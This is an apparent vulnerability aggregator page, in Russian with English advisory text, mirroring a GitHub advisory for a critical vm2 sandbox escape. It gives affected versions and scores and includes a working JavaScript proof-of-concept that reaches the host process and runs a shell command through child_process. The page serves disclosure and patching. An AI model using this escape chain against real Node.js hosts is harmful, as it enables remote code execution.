Логотип exploitDog
Консоль
Логотип exploitDog

exploitDog

github логотип

GHSA-v6mx-mf47-r5wg

Опубликовано: 29 мая 2026
Источник: github
Github: Прошло ревью
CVSS3: 10

Описание

vm2 has a Sandbox Escape issue

Summary

By combining Buffer.call.call({}.__lookupGetter__, Buffer, "__proto__"), Buffer.call.call({}.__lookupSetter__, Buffer, "__proto__"), and Node.js's ERR_INVALID_ARG_TYPE Error, the host's TypeError constructor can be obtained, which allows the escape from the sandbox. This allows attackers to run arbitrary code.

PoC

"use strict"; const { VM } = require("vm2"); const vm = new VM(); vm.run(` "use strict"; const getProto = Buffer.call.call({}.__lookupGetter__, Buffer, "__proto__"); const setProto = Buffer.call.call({}.__lookupSetter__, Buffer, "__proto__"); async function f() { try { await WebAssembly.compileStreaming(); } catch(e) { setProto.call(getProto.call(e), null); } try { await WebAssembly.compileStreaming(); } catch(e) { const HostFunction = e.constructor.constructor; new HostFunction("return process")().mainModule.require("child_process").execSync("echo pwned", { stdio: "inherit" }); } } f(); `);

Impact

Sandbox Escape → RCE

Пакеты

Наименование

vm2

npm
Затронутые версииВерсия исправления

<= 3.11.3

3.11.4

EPSS

Процентиль: 46%
0.00619
Низкий

10 Critical

CVSS3

Дефекты

CWE-913

Связанные уязвимости

CVSS3: 4.1
redhat
около 2 месяцев назад

vm2 is an open source vm/sandbox for Node.js. Prior to version 3.11.4, by combining Buffer.call.call({}.__lookupGetter__, Buffer, "__proto__"), Buffer.call.call({}.__lookupSetter__, Buffer, "__proto__"), and Node.js's ERR_INVALID_ARG_TYPE Error, the host's TypeError constructor can be obtained, which allows the escape from the sandbox. This allows attackers to run arbitrary code. This issue has been patched in version 3.11.4.

CVSS3: 10
nvd
около 2 месяцев назад

vm2 is an open source vm/sandbox for Node.js. Prior to version 3.11.4, by combining Buffer.call.call({}.__lookupGetter__, Buffer, "__proto__"), Buffer.call.call({}.__lookupSetter__, Buffer, "__proto__"), and Node.js's ERR_INVALID_ARG_TYPE Error, the host's TypeError constructor can be obtained, which allows the escape from the sandbox. This allows attackers to run arbitrary code. This issue has been patched in version 3.11.4.

EPSS

Процентиль: 46%
0.00619
Низкий

10 Critical

CVSS3

Дефекты

CWE-913